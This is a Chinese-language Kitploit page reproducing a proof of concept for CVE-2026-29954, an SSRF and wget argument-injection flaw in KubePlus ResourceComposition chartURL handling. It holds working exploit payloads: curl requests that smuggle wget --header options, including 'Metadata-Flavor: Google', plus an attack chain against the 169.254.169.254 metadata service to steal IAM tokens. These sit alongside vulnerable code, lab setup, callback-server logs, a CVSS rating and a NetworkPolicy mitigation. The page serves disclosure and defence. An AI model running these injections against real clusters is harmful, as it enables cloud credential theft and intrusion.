Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-29954 — 概念验证,演示 KubePlus ResourceComposition 中的 SSRF 和 HTTP 头注入漏洞,可导致云元数据访问及 IAM 凭证窃取。 | Kitploit
工具/GitHubGitHub/b0b0haha/cve-2026-29954
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试云安全
GitHubb0b0haha/cve-2026-29954

CVE-2026-29954

概念验证,演示 KubePlus ResourceComposition 中的 SSRF 和 HTTP 头注入漏洞,可导致云元数据访问及 IAM 凭证窃取。

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

KubePlus ResourceComposition ChartURL SSRF + 请求头注入

该漏洞存在于 KubePlus 的 ResourceComposition 资源处理组件中,允许具有 Provider 权限的攻击者通过构造恶意的 chartURL 参数,利用 SSRF 访问内部服务,并通过 wget 命令注入任意 HTTP 请求头。这使得攻击者能够访问需要特定请求头的云元数据服务(例如,GCP 需要 Metadata-Flavor: Google 请求头),从而窃取 IAM 凭证。建议上报的 CWE 编号:CWE-918(服务端请求伪造)。

概述

KubePlus 的 mutating webhook 和 kubeconfiggenerator 组件在处理 ResourceComposition 资源的 chartURL 字段时存在 SSRF 漏洞。该字段仅进行 URL 编码,未验证目标地址。更关键的是,当 kubeconfiggenerator 使用 wget 下载 charts 时,chartURL 被直接拼接进命令中,攻击者可以注入 wget 的 --header 选项,实现任意 HTTP 请求头注入。

详细信息

漏洞代码位置

SSRF 入口点 - mutating-webhook/utils.go:986-995:

root@kitploit:~
func LintChart(chartURL string) []byte {
    encodedChartURL := url.QueryEscape(chartURL)
    args := fmt.Sprintf("chartURL=%s", encodedChartURL)
    var url1 string
    url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
    body := queryKubeDiscoveryService(url1)
    return body
}

请求头注入点 - deploy/kubeconfiggenerator.py:552-558:

root@kitploit:~
def download_and_untar_chart(chartLoc, chartName):
    if chartLoc.startswith("https"):
        charttgz = chartName + ".tgz"
        wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
        out, err = run_command(wget)

chartURL 被直接拼接进 wget 命令中,攻击者可以注入 --header 选项。

漏洞分析

  1. SSRF:chartURL 字段来自用户输入,仅进行 URL 编码,未验证目标是否为内部网络或元数据服务
  2. 命令注入(请求头):wget 命令直接拼接 chartURL,允许注入 wget 命令行选项
  3. 请求头注入:通过注入 --header 选项,可以添加任意 HTTP 请求头

PoC

环境搭建

  1. 创建 Kind 集群:
root@kitploit:~
kind create cluster --name kubeplus-test
  1. 安装 KubePlus v4.2.0:
root@kitploit:~
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
  1. 生成 provider kubeconfig:
root@kitploit:~
python3 provider-kubeconfig.py create default
  1. 部署回调服务器:
root@kitploit:~
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: ssrf-callback
  labels:
    app: ssrf-callback
spec:
  containers:
  - name: callback
    image: python:3.9-slim
    command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[{datetime.now()}] GET {self.path}')
        print('Headers:')
        for h, v in self.headers.items():
            print(f'  {h}: {v}')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
    ports:
    - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: ssrf-callback
spec:
  selector:
    app: ssrf-callback
  ports:
  - port: 8080
EOF

测试 1:基础 SSRF 验证

root@kitploit:~
# 创建包含 SSRF payload 的 ResourceComposition
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
  name: ssrf-test
spec:
  newResource:
    resource:
      kind: SsrfApp
      group: ssrf.kubeplus
      version: v1
      plural: ssrfapps
    chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
    chartName: ssrf-test
EOF

回调服务器日志输出:

root@kitploit:~
[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Helm/3.12.1

测试 2:通过 wget --header 进行请求头注入

root@kitploit:~
# 设置到 kubeconfighelper 的端口转发
kubectl port-forward svc/kubeconfighelper 5005:91 &

# 注入 Metadata-Flavor 请求头(GCP 元数据服务所需)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"

回调服务器日志输出:

root@kitploit:~
[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  Metadata-Flavor: Google

测试 3:多个请求头注入

root@kitploit:~
PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"

回调服务器日志输出:

root@kitploit:~
[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  X-Custom-Header-1: Value1
  X-Custom-Header-2: Value2
  Authorization: Bearer stolen-token

影响

  1. SSRF 访问内部服务:攻击者可以访问集群内部服务和 Kubernetes API
  2. 云元数据访问:通过注入 Metadata-Flavor: Google 请求头,可以访问 GCP 元数据服务
  3. IAM 凭证窃取:在云环境中,可以窃取 IAM 临时凭证
  4. 认证绕过:通过注入 Authorization 请求头,可能绕过某些服务的认证

攻击场景

root@kitploit:~
攻击者(Provider 权限)
    |
    v
创建 ResourceComposition(chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/...")
    |
    v
KubePlus Webhook 处理请求
    |
    v
kubeconfiggenerator 执行:wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
    |
    v
访问 GCP 元数据服务,获取 IAM Token
    |
    v
使用 IAM Token 访问云资源

严重性

CVSS 3.1 评分:8.5(高危) 向量:AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:高(Provider 角色)
  • 用户交互:无
  • 影响范围:已变更(可以访问外部云服务)
  • 机密性:高(IAM 凭证)
  • 完整性:低
  • 可用性:无

受影响版本

  • KubePlus v4.2.0(已验证)
  • 可能所有使用 wget 下载 charts 的版本

临时解决方案

  1. 网络策略:限制 KubePlus Pod 的出站网络访问
root@kitploit:~
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: kubeplus-egress-restrict
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
        - 10.0.0.0/8
        - 172.16.0.0/12
        - 192.168.0.0/16
  1. URL 白名单:在代码中添加 chartURL 白名单验证

参考资料

  • CWE-918:服务端请求伪造(SSRF)
  • CWE-88:命令中参数分隔符未正确中和
  • OWASP SSRF 防护速查表
  • Kubeplus:https://github.com/cloud-ark/kubeplus

致谢

感谢以下人员: @b0b0haha ([email protected]) @lixingquzhi ([email protected])

下载工具